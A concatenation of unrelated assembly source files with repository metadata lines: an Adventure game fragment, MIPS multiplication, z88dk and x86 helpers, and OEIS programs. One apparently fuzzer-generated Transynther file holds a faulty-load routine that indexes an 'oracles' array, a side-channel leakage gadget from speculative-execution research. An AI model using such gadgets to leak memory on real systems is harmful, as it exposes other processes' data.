SPEAK . DWARF DODGES OUT OF WAY +48D L5311 LA 21D SA,W K . K = 21 J L5014 . . EAT . L5502 LB,W B1,FOOD LA,W IPLACE,B1 AN,W JJ,,ANOT J L5502A . IPLACE(FOOD)=J THEN CONTINUE LA,W IPLACE,B1,ANEG J L5200 . IPLACE(FOOD)<0 THEN 5200 L5502A LA,W PROP,B1,AZERO J L5200 . PROP(FOOD)<>0 THEN 5200 LA,W JOBJ AN,W FOOD,,AZERO J L5200 . JOBJ<>FOOD THEN 5200 LA 1 SA,W PROP,B1 . PROP(FOOD)=1 L5501 LA 72D SA,W JSPK . JSPK=72 J L5200 . . DRINK . L5504 LB,W B1,WATER LA,W IPLACE,B1 AN,W JJ,,ANOT J L5504A . IPLACE(WATER)=J THEN CONTINUE LA,W IPLACE,B1,ANEG J L5200 . IPLACE(WATER)<0 THEN 5200 L5504A LA,W PROP,B1,AZERO J L5200 . PROP(WATER)<>0 THEN 5200 LA,W JOBJ AN,W WATER,,AZERO J L5200 . JOBJ<>WATER THEN 5200 LA 1 SA,W PROP,B1 . PROP(WATER>=1 LA 74D SA,W JSPK . JSPK=74 J L5200 . . RUB . L5505 LA,W JOBJ AN,W LAMP,,ANOT . JOBJ<>LAMP? J L5200 . NO LA 76D SA,W JSPK J L5200 . . POUR . L5506 LA,W JOBJ AN,W WATER,,ANOT . JOBJ<>WATER? J L5506A . NO LA 78D SA,W JSPK . JSPK=78 L5506A LB,W B1,WATER LA 1 SA,W PROP,B1 . PROP(WATER)=1 J L5200 . HALT 0 . ++++++++++ . MOD . . PARAMETERS: . VALUE . MODULUS . . RETURNS: . RESULT IN A . ++++++++++ MOD +0 LA,L MOD . GET PARAM ADDR LB,A B7 A 2 SA,L MOD$J . LQ,W 0,B7 . GET VALUE LA,W 1,B7 . GET MODULUS SA,W MOD$TEMP ZA . DIVIDE TO GET RSLT IN A D,W MOD$TEMP MOD$J J $ MOD$TEMP RES 1D . . ++++++++++ . YES . . B1 = PARAM LIST . ++++++++++ YES +0 LA,L YES . GET PTR TO PARAMS LB,A B7 A 4 . SET RTRN ADDR SA,L YES$J . LA,W 0,B7 SA,W YES$P1 SLJ SPEAK YES$P1 +0 SLJ GETIN +0 IA1 +0 +0 +0 . LA,W IA1 . GET OPR RESPONSE LQ,X 77777 MATE NO1 . = 'N'? J YES$CKNO . NO J YES$1 . YES YES$CKNO MATE NO2 . = 'NO'? J YES$YES . NO, MUST BE 'YES' J YES$1 . YES . YES$YES LA 1 . RETRUN 'YES' TO CALLER SA,W 3,B7 LA,W 1,B7,ANOT . Y = 0? J YES$J . YES, WE'RE DONE SA,W YES$P2 . NO, SHOW MESSAGE SLJ SPEAK YES$P2 +0 J YES$J . YES$1 SZ,W 3,B7 . RETURN 'NO' TO CALLER LA,W 2,B7,ANOT . Z = 0? J YES$J . YES, WE'RE DONE SA,W YES$P3 . NO, SHOW MESSAGE SLJ SPEAK YES$P3 +0 . YES$J J $ . NO1 +'N' NO2 +'NO' . ++++++++++ . SPEAK . . B2 = PARAM LIST/IT . B3 = KKT . ++++++++++ SPEAK +0 SB,W B2,SPEAK$B2 . SAVE REGISTERS SB,W B3,SPEAK$B3 . LA,L SPEAK . GET PTR TO PARAMS LB,A B2 A 1 . SET RTRN ADDR SA,L SPEAK$J . LB,W B2,0,B2 . GET PARAM (IT) LA,W RTEXT,B2,ANOT . RTEXT(IT) = 0? J SPEAK$RTRN . YES, QUIT LQ,A . MULT KKT BY 17D TO GET OFST ZA M LLSIZE AQ LLINE . CALC ADDR OF ITEM SQ,A . SPEAK$LOOP LB,A B3 LA,W LLLEN,B3 . TRANSFER LEN TO PARAM SA,W SPEAK$P1 LA LLTEXT,B3 . XFER TEXT ADDR TO PARAM SA,W SPEAK$P2 EXRN ERTYPE$ . WRITE LINE TO CONSOLE SPEAK$P1 +0 SPEAK$P2 +0 LA,W LLNEXT,B3,ANOT . IS THERE MORE TEXT? J SPEAK$CR . NO SB,A B3 A LLSIZE . BUMP KKT J SPEAK$LOOP . LOOP . SPEAK$CR TYPE 1D,CR . SPEAK$RTRN LB,W B2,SPEAK$B2 . RESTORE REGISTERS LB,W B3,SPEAK$B3 SPEAK$J J $ . SPEAK$B2 RES 1D SPEAK$B3 RES 1D . ++++++++++ . GETIN . . WAIT FOR OPERATOR INPUT, THEN PARSE IT INTO 2 WORDS. . . B2 = PARAMS ADDR . ++++++++++ GETIN +0 SB,W B2,GI$B2 SB,W B7,GI$B7 LA,L GETIN . GET RETURN ADDRESS LB,A B2 A 4 SA,L GETIN$J LA 1 SA,W 0,B2 . DEFAULT TO 2 TOKENS FOUND . LA,W SPACES . CLEAR BFR R RPLYLEN,,ADV SA,W RPLYBFR . ACCEPT PROMPTLEN,PROMPT RPLYLEN,RPLYBFR SZ,W GI$P1 . GET 1ST TOKEN SLJ NXTTKN SA,W 1,B2 . RETURN IT SQ,W 3,B2 SLJ NXTTKN . GET 2ND TOKEN SA,W 2,B2 . RETURN IT LQ,X 77777 . IS IT BLANK? MATE SPACES J GETIN$RTRN . NO, WERE DONE SZ,W 0,B2 . SHOW ONLY 1 TOKEN . GETIN$RTRN LB,W B2,GI$B2 LB,W B7,GI$B7 GETIN$J J $ . NXTTKN +0 EXRN ERTOKEN$ GI$P1 +0 +RPLYBFR J,L NXTTKN . PROMPT +'?? ^' PROMPTLEN EQU $-PROMPT RPLYBFR RES 15D RPLYLEN EQU 15D GI$B2 RES 1 GI$B7 RES 1 . . INFILE ERROR . INERR LA,U INFILE+DTF$FLAGS . GET STATUS OR,W SPCZERO SA,W FILSTAT TYPE FELEN,FILERR HALT 8D . . INFILE EOF . INEOF TYPE FEOFLEN,FILEOF J L1100 . . ++++++++++ . GET THE RECORD TYPE FROM THE CONFIG RECORD. . THE RECORD TYPE OCCUPIES THE FIRST WORD OR THE RECORD. . ++++++++++ GETRTYPE +0 LA,W INREC LQ,W SPACES DEC2INT J,L GETRTYPE . ++++++++++ . PSUEDO RANDOM NUMBER GENERATOR . . PARAMETERS: . RANGE . . RETURNS . A RANDOM NUMBER IN A. 0 <= R < RANGE . ++++++++++ RANDOM +0 SQ,W R$Q LA,L RANDOM . GET RETURN ADDR LB,A B1 A 1 . BUMP PAST PARAM SA,L RANDOM$J . LA,W R$SEED,,AZERO . SEED INTIALIZED? J RANDOM$1 . YES DAYCLOCK . NO, LOAD WITH CURRENT TIME LSA 1 . MAKE SURE IT IS POSITIVE LRSA 1 SA,W R$SEED . RANDOM$1 LQ,W R$SEED . CALC NEW SEED M,W R$M AQ 1 LSQ 1 . MAKE SURE IT IS POSITIVE LRSQ 1 SQ,W R$SEED . M,W 0,B1 LRSAQ 29D . LEAVE RANDOM # IN A SQ,A ANQ,W 0,B1,QNEG . CHECK WITHIN RANGE J $,,STOP . LQ,W R$Q RANDOM$J J $ . R$SEED +0 R$M +134775813D . THE MAGIC MULTIPLIER R$Q +0 . CFG$ERR TYPE CFG$LEN,CFG$MSG HALT 9D CFG$MSG +'INVALID LINE TYPE DETECTED IN CONFIGURATION FILE ^' CFG$LEN EQU $-CFG$MSG . INFILE DTFSD 'CAVE.DAT',5 - DTF$INPUT+DTF$VARREC - 20D,INREC - INBFR - INEOF - INERR INREC RES 20D INBFR RES 1024D . . . JUMP TABLE FOR THE DIFFERENT RECORD TYPES IN THE . CONFIGURATION FILE . RT$JUMP +L1100 +L1004 +L1004 +L1013 +L1020 +L1004 +L1004 . SPACES +' ' FIVE9 +99999D SETUP +0 KEYS +1D LAMP +2D GRATE +3D ROD +5D BIRD +7D NUGGET +10D SNAKE +11D FOOD +19D WATER +20D AXE +21D I +0 IKIND +0 JKIND +0 LKIND +0 IDWARF +0 IFIRST +0 IWEST +0 ILONG +0 IDETAL +0 IDARK +0 ILK +0 JJ +0 . J IN FTN SOURCE K +0 KK +0 LL +0 . L IN FTN SOURCE LLL +0 . LL IN FTN SOURCE LOLD +0 LOC +0 . CURRENT LOCATION? ATTACK +0 . # DWARVES THAT ATTACK YOU DTOT +0 . # DWARVES IN ROOM STICK +0 . # DWARVES THAT HIT YOU LTRUBL +0 JVERB +0 JOBJ +0 TWOWDS +0 AA RES 1D WD2 RES 1D BB +0 JSPK +0 YEA +0 ITEMP +0 IID +0 JSPKT +0 . JSPKT [1..100] +24D +29D +0D +31D +0D +31D +38D +38D +42D +42D +43D +46D +77D +71D +73D +75D RES 101D-($-JSPKT) IPLT +0 . IPLT [1..100] +3D +3D +8D +10D +11D +14D +13D +9D +15D +18D +19D +17D +27D +28D +29D +30D +0D +0D +3D +3D RES 101D-($-IPLT) IFIXT +0 . IFIXT [1..100] +0 +0 +1 +0 +0 +1 +0 +1 +1 +0 +1 +1 +0 +0 +0 +0 +0 +0 +0 +0 RES 101D-($-IFIXT) DTRAV RES 21D . DTRAV [1..20] ODLOC RES 11D . ODLOC [1..10] DSEEN RES 11D . DSEEN [1..10] DLOC RES 11D . DLOC [1..10] ICHAIN RES 101D . ICHAIN [1..100] TK RES 11D . TK[1..10] KEY RES 301D . KEY[1..300] . POINTERS TO SHORT LOCATION DESCRIPTIONS STEXT RES 301D . STEXT [1..300] . POINTERS TO GAME STATE DESCRIPTIONS BTEXT RES 201D . BTEXT [1..200] . POINTERS TO HINTS AND EVENTS DESCRIPTIONS RTEXT RES 101D . RTEXT [1..100] . POINTERS TO LONG LOCATION DESCRIPTIONS LTEXT RES 301D . LTEXT [1..300] TRAVEL RES 401D . TRAVEL [1..400] . HOLDS NUMBERS OF WELL KNOWN WORDS KTAB RES 201D . KTAB [1..200] . HOLDS WELL KNOWN WORDS ATAB RES 201D . ATAB [1..200] IPLACE RES 101D . IPLACE [1..100] IFIXED RES 101D . IFIXED [1..100] COND RES 301D . COND [1..300] ABB RES 301D . ABB [1..300] IOBJ RES 301D . IOB [1..300] PROP RES 101D . PROP [1..100] . . AN ARRAY OF LOCATION RELATED TEXT . LLITEM EQU 0 LLNEXT EQU 0 . INDEX OF NEXT LLINE ITEM LLLEN EQU 1 . LENGTH OF CRNT LLINE ITEM LLTEXT EQU 2 . TEXT OF CRNT LLINE ITEM LLSIZE EQU 17D LLINE RES 601D*LLSIZE . LLINE [1..600, 0..16] . LLCRNT RES 1D . FILERR +'FILE ERROR' FILSTAT +0 CR +' ^' FELEN EQU $-FILERR . FILEOF +'END OF FILE ^' FEOFLEN EQU $-FILEOF . TMLERR +'TOO MANY LINES^' TMLLEN EQU $-TMLERR . TM3ERR +'TOO MANY 3 RECORDS' +' ^' TM3LEN EQU $-TM3ERR . TMWERR +'TOO MANY WORDS' +' ^' TMWLEN EQU $-TMWERR . CFGLOADED +'CONFIGURATION SUCCESSUFLLY LOADED' +' ^' CLLEN EQU $-CFGLOADED . INITDONE +'INITIALIZATION COMPLETE' +' ^' IDLEN EQU $-INITDONE . DTHREAT +'THERE ARE' DTNUM +' ' +'THREATENING LITTLE DWARVES IN THE ROOM WITH YOU.' +' ^' DTLEN EQU $-DTHREAT . DKNIFE +' ' +'OF THEM THROW KNIVES AT YOU!' +' ^' DKLEN EQU $-DKNIFE . DHIT +' ' +'OF THEM HIT YOU!' +' ^' DHLEN EQU $-DHIT . GAMEOVER +'GAME IS OVER' +' ^' GOLEN EQU $-GAMEOVER . ERR5 +'ERROR 5' +' ^' E5LEN EQU $-ERR5 . ERR6 +'ERROR 6' +' ^' E6LEN EQU $-ERR6 . NONO +'NO NO' +' ^' NNLEN EQU $-NONO . OOPS +'OOPS!' +' ^' OLEN EQU $-OOPS . WHAT +' WHAT?' +' ^' WLEN EQU $-WHAT . WHAT2 +' WHAT?' +' ^' W2LEN EQU $-WHAT2 . SEENO +'I SEE NO ' SEEWHAT +' ' +' HERE.' +' ^' SNLEN EQU $-SEENO . SEENO2 +'I SEE NO ' SEEWHAT2 +' ' +' HERE.' +' ^' SN2LEN EQU $-SEENO2 . WHATDO +'WHAT DO YOU WANT TO DO WITH THE ' WHATWHAT +' ' +'? ^' WDLEN EQU $-WHATDO . WHATDO2 +'WHAT DO YOU WANT TO DO WITH THE ' WHATWHAT2 +' ' +'? ^' WD2LEN EQU $-WHATDO2 . ZERO +0 SPCZERO +' 0' SPC +' ' NEG1 -1 SENTER +'ENTER' SSTREAM +'STREA' SWATER +'WATER' SWEST +'WEST' SQUIT +'QUIT' END
44.395117
133
0.253499
e01e2f7044041cc5619272eac72d55973c4ae8db
284
asm
Assembly
libsrc/target/fp1100/stdio/fputc_cons_native.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/fp1100/stdio/fputc_cons_native.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/fp1100/stdio/fputc_cons_native.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
MODULE fputc_cons_native SECTION code_clib INCLUDE "target/fp1100/def/fp1100.def" PUBLIC fputc_cons_native PUBLIC _fputc_cons_native fputc_cons_native: _fputc_cons_native: ld hl,2 add hl,sp ld a,(hl) cp 10 jr nz,not_lf ld a,13 not_lf: call PRCRT ret
12.909091
55
0.725352
4924951f58e0419f627c27159323622d37c6e265
5,150
asm
Assembly
mult.asm
beamaia/multiplicador-arqcomp
bee910e6eb24025c67c148b7209f3a8db0f966d8
[ "MIT" ]
null
null
null
mult.asm
beamaia/multiplicador-arqcomp
bee910e6eb24025c67c148b7209f3a8db0f966d8
[ "MIT" ]
null
null
null
mult.asm
beamaia/multiplicador-arqcomp
bee910e6eb24025c67c148b7209f3a8db0f966d8
[ "MIT" ]
1
2021-05-17T00:08:16.000Z
2021-05-17T00:08:16.000Z
# Algoritmo de Multiplicação utilizando shift e soma # Grupo: Beatriz Maia, Luana Costa e Sophie Dilhon # Nov/2020 #------------------------------------------------------------------------------- .data input: .asciiz "Digite a entrada:\n" texto1: .asciiz "Multiplicando " texto2: .asciiz " por " texto3: .asciiz "\n" multiplicador: .word 10 multiplicando: .word 10 .text # Vamos utilizar os seguintes registradores: # $s0 = multiplicador # $s1 = multiplicando # $s2 = HI # $s3 = LO #------------------------------------------------------------------------------- Main: jal EntradaDados #jal EntradaTerminal # Mult para verificar se o valor de HI e LO eh igual a $s2 e $s3, respectivamente mult $s1, $s0 # Verifica se um dos numeros eh igual a 0 add $a0, $s0, $0 jal SeZero add $a0, $s1, $0 jal SeZero # Coloca em $s0 o menor numero e em $s1 o maior numero slt $t0, $s1, $s0 beq $t0, $0, continua add $t1, $s0, $0 add $s0, $s1, $0 add $s1, $t1, $0 continua: # Verifica sinal de s0 e s1 slt $t0, $s0, $0 # sinal de s0 slt $t1, $s1, $0 # sinal de s1 # Verifica se s0 eh negativo add $a0, $s0, $zero # Parametro 1: s0 (multiplicador) add $a1, $t0, $zero # Parametro 2: t0 (sinal de s0) jal Verifica # Verifica se o numero eh negativo. Se sim, deixa ele positivo (em c2) add $s0, $a0, $zero # Modulo de s0 eh armazenado em s0 # Verifica se s1 eh negativo add $a0, $s1, $zero # Parametro 1: s1 (multiplicando) add $a1, $t1, $zero # Parametro 2: t1 (sinal de s1) jal Verifica # Verifica se o numero eh negativo. Se sim, deixa ele positivo (em c2) add $s1, $a0, $zero # Modulo de s1 eh armazenado em s1 add $a0, $s0, $zero # Parametro 1: s0 (multiplicador) add $a1, $s1, $zero # Parametro 2: s1 (multiplicando) jal Algoritmo # Verifica se o resultado eh negativo xor $t2, $t0, $t1 beq $t2, $0, FIM # Se negativo, fazer o complemento a 2 jal Resultado # -------------------------------------------------------------------------- # Verificando se algum dos inputs eh zero SeZero: beq $a0, $0, FIM # Se o numero for igual a 0, vai para o label Zero jr $ra # Verificando se algum dos inputs eh < 0 Verifica: bne $0, $a1, Negativo # Se o sinal for negativo jr $ra # Para fazer complemento a 2 Negativo: xori $a0, $a0, 0xffffffff # Or entre o numero e 0xffffffff addiu $a0, $a0, 1 # Soma 1 jr $ra # Algoritmo de multiplicacao utilizando shift e soma Algoritmo: VerSignificativo: andi $t2, $a0, 1 beq $t2, $0, Shift # Verifica se o bit menos significativo eh 0 Soma: addu $t4, $a1, $s3 # Soma o LO do multiplicando + LO do produto e coloca o resultado em $t4 sltu $t5, $t4, $s3 # Verifica se a soma total eh menor que o LO do produto ($s3). Guarda 1 se sim em $t5 sltu $t6, $t4, $a1 # Verifica se a soma total eh menor que o Lo do multiplicando ($a1). Guarda 1 se sim em $t6 addu $s3, $t4, $0 # Coloca a soma anterior no LO do produto ($s3) addu $s2, $s2, $a2 # Soma o HI do produto ($s2) e o HI do multiplcando ($a2) or $t7, $t6, $t5 # Faz um or entra $t5 e $t6. Quando a soma eh maior que os dois numeros, $t7 = 0 beq $t7, $0, Shift # Se $t7 = 0, vai para Shift addiu $s2, $s2, 1 # Se nao for = 0: Bit do carry no HI do produto (soma o HI do produto ($s2) com 1) Shift: srl $a0, $a0, 1 # Shift right no multiplicador andi $t3, $a1, 0x80000000 # and com 1000... e LO do multiplicando ($a1) sll $a2, $a2, 1 # Shift left no multiplicando HI ($a2) sll $a1, $a1, 1 # Shift left no multiplicando LO ($a1) beq $t3, $0, VerContador # se o resultado do and eh 0, so da shift no lo HI: addiu $a2, $a2, 1 # Soma 1 no Hi VerContador: bne $a0, $0, VerSignificativo # Verifica se o multiplier eh igual a 0 jr $ra # Transformacao do resultado para negativo Resultado: beq $s3, $0, LOZero # LO add $a0, $s3, $zero # Parametro 1: $s3 (LO do resultado) jal Negativo # Transforma de positivo para negativo (c2) add $s3, $a0, $zero # Numero em c2 (LO) # HI xori $s2, $s2, 0xffffffff # Or entre o numero e 0xffffffff j FIM # Caso o registrador dos bits menos significativos forem todos o LOZero: # HI add $a0, $s2, $zero # Parametro 1: $s2 (HI do resultado) jal Negativo # Transforma de positivo para negativo (c2) add $s2, $a0, $zero # Numero em c2 j FIM # Fim do programa FIM: addi $v0, $0, 10 syscall # Leitura de dados pelo .data EntradaDados: lw $s0, multiplicador lw $s1, multiplicando # Leitura de dados pelo terminal EntradaTerminal: # Carregando strings la $t0, input la $t1, texto1 la $t2, texto2 la $t3, texto3 # Criando a entrada addi $v0, $0, 4 add $a0, $t0, $0 syscall addi $v0, $0, 5 syscall add $s1, $v0, $0 addi $v0, $0, 5 syscall add $s0, $v0, $0 # Mostrando a entrada addi $v0, $0, 4 add $a0, $t1, $0 syscall addi $v0, $0, 1 add $a0, $s1, $0 syscall addi $v0, $0, 4 add $a0, $t2, $0 syscall addi $v0, $0, 1 add $a0, $s0, $0 syscall addi $v0, $0, 4 add $a0, $t3, $0 syscall jr $ra
27.540107
116
0.600194
646f065200b2864f04b3b3f85ff5d32731d3cc92
1,035
asm
Assembly
programs/oeis/164/A164591.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/164/A164591.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/164/A164591.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A164591: a(n) = ((4 + sqrt(18))*(4 + sqrt(8))^n + (4 - sqrt(18))*(4 - sqrt(8))^n)/8 . ; 1,7,48,328,2240,15296,104448,713216,4870144,33255424,227082240,1550614528,10588258304,72301150208,493703135232,3371215880192,23020101959680,157191088635904,1073367893409792,7329414438191104,50048372358250496,341751663360475136,2333626328017797120,15934997317258575872,108810967913926230016,743007764773341233152,5073574374875320025088,34644532880815830335488,236567668047524082483200,1615385081333666017181696,11030539306289135477587968,75321233799643755683250176,514325555946836961645297664,3512034577177545647696379904,23981672169845669488408657920,163757100741344990725698224128,1118203428571994569898316529664,7635570622645196633380946444288,52138937552585616507861039316992,356026935439523358995840742981632,2431103983095501939903837629317120,16600616381247828647263975090683904,113356099185218613658881099690934272,774043862431766280092936996802002944 add $0,1 seq $0,57084 ; Scaled Chebyshev U-polynomials evaluated at sqrt(2). div $0,8
147.857143
859
0.883092
f74259e90d3535d49f93964624eb3f722f32ecb3
2,453
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_15_1139.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_15_1139.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_15_1139.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x1d128, %r8 nop nop nop inc %rsi movb (%r8), %r9b nop nop nop and $4740, %r13 lea addresses_WT_ht+0x4d6c, %rdi clflush (%rdi) nop nop add %r11, %r11 movups (%rdi), %xmm4 vpextrq $0, %xmm4, %rcx nop inc %r9 pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %rbx push %rcx push %rdi push %rdx // Store lea addresses_PSE+0x1516c, %r10 clflush (%r10) nop nop nop nop inc %r15 mov $0x5152535455565758, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%r10) nop xor $57001, %rcx // Load lea addresses_WC+0x25c4, %r15 clflush (%r15) xor %r13, %r13 vmovaps (%r15), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop nop cmp $45396, %rcx // Store lea addresses_US+0x19d6c, %rdx clflush (%rdx) nop inc %rbx mov $0x5152535455565758, %r15 movq %r15, %xmm6 vmovntdq %ymm6, (%rdx) nop nop nop nop nop sub %rdi, %rdi // Store lea addresses_RW+0xc83c, %r10 sub %r15, %r15 movb $0x51, (%r10) and %rdx, %rdx // Faulty Load lea addresses_PSE+0x1236c, %rdx nop add $61195, %rcx mov (%rdx), %di lea oracles, %rdx and $0xff, %rdi shlq $12, %rdi mov (%rdx,%rdi,1), %rdi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_PSE'}} {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_US'}} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'33': 15} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
19.164063
125
0.641663
d5d2b54be308f399863d2c76f10ca3f455656316
781
asm
Assembly
src/kernel/x86.asm
TheDarkBomber/apiofirm
7cf04e212e80ba37d900755a38002d451bed72f5
[ "BSD-2-Clause" ]
4
2022-02-06T13:35:21.000Z
2022-02-06T22:49:15.000Z
src/kernel/x86.asm
TheDarkBomber/apiofirm
7cf04e212e80ba37d900755a38002d451bed72f5
[ "BSD-2-Clause" ]
null
null
null
src/kernel/x86.asm
TheDarkBomber/apiofirm
7cf04e212e80ba37d900755a38002d451bed72f5
[ "BSD-2-Clause" ]
null
null
null
global x86Input x86Input: [bits 32] mov dx, [esp + 4] xor eax, eax in al, dx ret global x86Output x86Output: [bits 32] mov dx, [esp + 4] mov al, [esp + 8] out dx, al ret global x86ReadCR0 x86ReadCR0: [bits 32] mov eax, cr0 ret global x86WriteCR0 x86WriteCR0: [bits 32] push ebp mov ebp, esp mov eax, [ebp + 8] mov cr0, eax pop ebp ret global x86ReadCR2 x86ReadCR2: [bits 32] mov eax, cr2 ret global x86WriteCR2 x86WriteCR2: [bits 32] push ebp mov ebp, esp mov eax, [ebp + 8] mov cr2, eax pop ebp ret global x86ReadCR3 x86ReadCR3: [bits 32] mov eax, cr3 ret global x86WriteCR3 x86WriteCR3: [bits 32] push ebp mov ebp, esp mov eax, [ebp + 8] mov cr3, eax pop ebp ret global x86ReadEFLAGS x86ReadEFLAGS: [bits 32] pushf pop eax ret
11
20
0.679898
d6cec87a28088019bd18c2d2e4534a7370175c80
589
asm
Assembly
oeis/289/A289006.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/289/A289006.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/289/A289006.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A289006: Conversion to octal of the binary expansion given by the first n terms of the period-3 sequence A011655 (repeat 0, 1, 1). ; Submitted by Jamie Morken(s1) ; 0,1,3,6,15,33,66,155,333,666,1555,3333,6666,15555,33333,66666,155555,333333,666666,1555555,3333333,6666666,15555555,33333333,66666666,155555555,333333333,666666666,1555555555,3333333333,6666666666,15555555555,33333333333,66666666666,155555555555,333333333333,666666666666 seq $0,33129 ; Base-2 digits are, in order, the first n terms of the periodic sequence with initial period [1,1,0]. seq $0,7094 ; Numbers in base 8.
84.142857
273
0.792869
b33a5d90fc1e727b3620fd2cf773e6203323aa78
126
asm
Assembly
libsrc/fcntl/dummy/read.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/fcntl/dummy/read.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/dummy/read.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; Dummy function to keep rest of libs happy ; ; $Id: read.asm,v 1.1 2001/05/01 13:55:21 dom Exp $ ; XLIB read .read ret
11.454545
51
0.642857
0fae06ddaeddb38db05433a6bd971b90b1345e80
393
asm
Assembly
cwiczenia6/zad6/trojkat.asm
adamczykpiotr/AGH_WIMiIP_Architektury_Komputerow
0b1d41c6903632dd9ab2b7d624288eb2f5f80240
[ "MIT" ]
1
2019-02-28T15:40:21.000Z
2019-02-28T15:40:21.000Z
cwiczenia6/zad6/trojkat.asm
adamczykpiotr/AGH_WIMiIP_Architektury_Komputerow
0b1d41c6903632dd9ab2b7d624288eb2f5f80240
[ "MIT" ]
null
null
null
cwiczenia6/zad6/trojkat.asm
adamczykpiotr/AGH_WIMiIP_Architektury_Komputerow
0b1d41c6903632dd9ab2b7d624288eb2f5f80240
[ "MIT" ]
1
2019-03-03T17:52:08.000Z
2019-03-03T17:52:08.000Z
section .text global trojkat trojkat: mov r12, rdi ;1. bok mov r13, rsi, ;2. bok mov r14, rdx, ;3. bok xor r15, r15 ;temp ;dziala _1plus2: mov r15, r12 add r15, r13 cmp r15, r14 jb _nie _1plus3: mov r15, r12 add r15, r14 cmp r15, r13 jb _nie _2plus3: mov r15, r13 add r15, r14 cmp r15, r12 jb _nie _jest: mov rax, 1 jmp _koniec _nie: mov rax, 0 _koniec: ret
9.139535
22
0.641221
2ef25164c40d3b77dba57b0f3fea316edb2cc828
537
asm
Assembly
oeis/344/A344236.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/344/A344236.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/344/A344236.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
